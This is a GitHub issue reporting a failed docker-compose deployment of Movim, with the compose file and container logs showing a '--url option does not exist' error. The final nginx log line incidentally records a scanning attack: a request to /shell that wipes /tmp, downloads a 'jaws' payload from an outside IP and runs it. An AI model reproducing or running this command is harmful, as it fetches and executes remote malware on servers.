Skip to content
This repository has been archived by the owner on Aug 2, 2024. It is now read-only.

docker-compose cannot complete deployment, indicating that url does not exist #38

Open
naxiangzi opened this issue May 10, 2023 · 0 comments

Comments

@naxiangzi
Copy link

naxiangzi commented May 10, 2023

docker-compose config.The official movim configuration parameters do not seem to be up to date.
`services:
prosody:
image: prosody/prosody:latest
environment:
- LOCAL=xadmin
- DOMAIN=localhost
- PASSWORD=changeme
ports:
- 5222:5222
- 5347:5347
#volumes:
# - ${PWD}/prosody/configuration:/etc/prosody
# - ${PWD}/prosody/logs:/var/log/prosody
# - ${PWD}/prosody/modules:/usr/lib/prosody-modules
movim:
environment:
DAEMON_URL: http://localhost
DAEMON_PORT: 8080
DAEMON_INTERFACE: 127.0.0.1
DB_DRIVER: pgsql
DB_HOST: postgresql
DB_PORT: 5432
DB_DATABASE: movim
DB_USERNAME: movim
DB_PASSWORD: changeme

  MOVIM_ADMIN: admin
  MOVIM_PASSWORD: changeme
  MOVIM_DOMAIN: http://localhost
  MOVIM_PORT: 8080
  MOVIM_INTERFACE: 0.0.0.0
  POSTGRES_DB: movim
  POSTGRES_HOST: postgresql
  POSTGRES_PORT: 5432
  POSTGRES_USER: movim
  POSTGRES_PASSWORD: changeme
image: movim/movim
volumes:
- ${PWD}/movim:/var/www/html:rw

nginx:
image: nginx:mainline-alpine
ports:
- published: 80
target: 80
volumes:
- ${PWD}/movim:/var/www/html:ro
- ${PWD}/nginx:/etc/nginx/conf.d:ro

postgresql:
environment:
POSTGRES_DB: movim
POSTGRES_PASSWORD: changeme
POSTGRES_USER: movim
image: postgres:15-alpine
volumes:
- ${PWD}/postgres/data:/var/lib/postgresql/data:rw
version: '3.8'`

error log

$ docker-compose up
Creating network "movim_default" with the default driver
Creating movim_nginx_1      ... done
Creating movim_movim_1      ... done
Creating movim_postgresql_1 ... done
Creating movim_prosody_1    ... done
Attaching to movim_prosody_1, movim_nginx_1, movim_movim_1, movim_postgresql_1
prosody_1     | startup             info        Hello and welcome to Prosody version 0.11.9
prosody_1     | startup             info        Prosody is using the select backend for connection handling
prosody_1     | certmanager         error       SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Check that the permissions allow Prosody to read this file. (for localhost)
prosody_1     | localhost:tls       error       Error creating context for c2s: error loading private key (Permission denied)
prosody_1     | certmanager         error       SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Previous error (see logs), or other system error. (for localhost)
prosody_1     | localhost:tls       error       Error creating contexts for s2sout: error loading private key (system lib)
nginx_1       | /docker-entrypoint.sh: /docker-entrypoint.d/ is not empty, will attempt to perform configuration
nginx_1       | /docker-entrypoint.sh: Looking for shell scripts in /docker-entrypoint.d/
nginx_1       | /docker-entrypoint.sh: Launching /docker-entrypoint.d/10-listen-on-ipv6-by-default.sh
nginx_1       | 10-listen-on-ipv6-by-default.sh: info: can not modify /etc/nginx/conf.d/default.conf (read-only file system?)
nginx_1       | /docker-entrypoint.sh: Launching /docker-entrypoint.d/20-envsubst-on-templates.sh
nginx_1       | /docker-entrypoint.sh: Launching /docker-entrypoint.d/30-tune-worker-processes.sh
nginx_1       | /docker-entrypoint.sh: Configuration complete; ready for start up
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: using the "epoll" event method
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: nginx/1.23.4
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: built by gcc 12.2.1 20220924 (Alpine 12.2.1_git20220924-r4) 
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: OS: Linux 5.4.0-77-generic
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: getrlimit(RLIMIT_NOFILE): 1048576:1048576
prosody_1     | certmanager         error       SSL/TLS: Failed to load '/etc/prosody/certs/localhost.key': Previous error (see logs), or other system error. (for localhost)
prosody_1     | localhost:tls       error       Error creating contexts for s2sin: error loading private key (system lib)
prosody_1     | localhost:tls       info        Certificates loaded
prosody_1     | portmanager         info        Activated service 's2s' on [::]:5269, [*]:5269
prosody_1     | portmanager         info        Activated service 'c2s' on [::]:5222, [*]:5222
prosody_1     | portmanager         info        Activated service 'legacy_ssl' on no ports
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: start worker processes
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: start worker process 22
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: start worker process 23
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: start cache manager process 24
nginx_1       | 2023/05/10 06:36:48 [notice] 1#1: start cache loader process 25
postgresql_1  | 
postgresql_1  | PostgreSQL Database directory appears to contain a database; Skipping initialization
postgresql_1  | 
postgresql_1  | 2023-05-10 06:36:48.746 UTC [1] LOG:  starting PostgreSQL 15.2 on x86_64-pc-linux-musl, compiled by gcc (Alpine 12.2.1_git20220924-r4) 12.2.1 20220924, 64-bit
postgresql_1  | 2023-05-10 06:36:48.746 UTC [1] LOG:  listening on IPv4 address "0.0.0.0", port 5432
postgresql_1  | 2023-05-10 06:36:48.748 UTC [1] LOG:  listening on IPv6 address "::", port 5432
postgresql_1  | 2023-05-10 06:36:48.757 UTC [1] LOG:  listening on Unix socket "/var/run/postgresql/.s.PGSQL.5432"
postgresql_1  | 2023-05-10 06:36:48.767 UTC [24] LOG:  database system was shut down at 2023-05-10 03:40:13 UTC
postgresql_1  | 2023-05-10 06:36:48.778 UTC [1] LOG:  database system is ready to accept connections
movim_1       | Phinx by CakePHP - https://phinx.org.
movim_1       | 
movim_1       | using config file phinx.php
movim_1       | using config parser php
movim_1       | using migration paths 
movim_1       |  - /var/www/html/database/migrations
movim_1       | using seed paths 
movim_1       | warning no environment specified, defaulting to: movim
movim_1       | using adapter pgsql
movim_1       | using database movim
movim_1       | ordering by creation time
movim_1       | 
movim_1       | All Done. Took 0.0777s
movim_1       | [10-May-2023 06:36:49] NOTICE: fpm is running, pid 18
movim_1       | [10-May-2023 06:36:49] NOTICE: ready to handle connections
movim_1       | 
movim_1       | 
movim_1       | In ArgvInput.php line 220:
movim_1       |                                                           
movim_1       |   [Symfony\Component\Console\Exception\RuntimeException]  
movim_1       |   The "--url" option does not exist.                      
movim_1       |                                                           
movim_1       | 
movim_1       | Exception trace:
movim_1       |   at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:220
movim_1       |  Symfony\Component\Console\Input\ArgvInput->addLongOption() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:147
movim_1       |  Symfony\Component\Console\Input\ArgvInput->parseLongOption() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:82
movim_1       |  Symfony\Component\Console\Input\ArgvInput->parseToken() at /var/www/html/vendor/symfony/console/Input/ArgvInput.php:71
movim_1       |  Symfony\Component\Console\Input\ArgvInput->parse() at /var/www/html/vendor/symfony/console/Input/Input.php:55
movim_1       |  Symfony\Component\Console\Input\Input->bind() at /var/www/html/vendor/symfony/console/Command/Command.php:257
movim_1       |  Symfony\Component\Console\Command\Command->run() at /var/www/html/vendor/symfony/console/Application.php:1040
movim_1       |  Symfony\Component\Console\Application->doRunCommand() at /var/www/html/vendor/symfony/console/Application.php:301
movim_1       |  Symfony\Component\Console\Application->doRun() at /var/www/html/vendor/symfony/console/Application.php:171
movim_1       |  Symfony\Component\Console\Application->run() at /var/www/html/daemon.php:20
movim_1       | 
movim_1       | start [-d|--debug]
movim_1       | 
movim_movim_1 exited with code 1
nginx_1       | 2023/05/10 06:37:48 [notice] 25#25: http file cache: /tmp/nginx_cache 0.000M, bsize: 4096
nginx_1       | 2023/05/10 06:37:48 [notice] 1#1: signal 17 (SIGCHLD) received from 25
nginx_1       | 2023/05/10 06:37:48 [notice] 1#1: cache loader process 25 exited with code 0
nginx_1       | 2023/05/10 06:37:48 [notice] 1#1: signal 29 (SIGIO) received
postgresql_1  | 2023-05-10 06:41:48.868 UTC [22] LOG:  checkpoint starting: time
postgresql_1  | 2023-05-10 06:41:48.901 UTC [22] LOG:  checkpoint complete: wrote 3 buffers (0.0%); 0 WAL file(s) added, 0 removed, 0 recycled; write=0.005 s, sync=0.007 s, total=0.033 s; sync files=2, longest=0.005 s, average=0.004 s; distance=0 kB, estimate=0 kB
nginx_1       | 14.175.120.67 - - [10/May/2023:06:44:06 +0000] "GET /shell?cd+/tmp;rm+-rf+*;wget+ 5.255.111.128/jaws;sh+/tmp/jaws HTTP/1.1" 400 157 "-" "-" "-"```
Sign up for free to subscribe to this conversation on GitHub. Already have an account? Sign in.
Labels
None yet
Development

No branches or pull requests

1 participant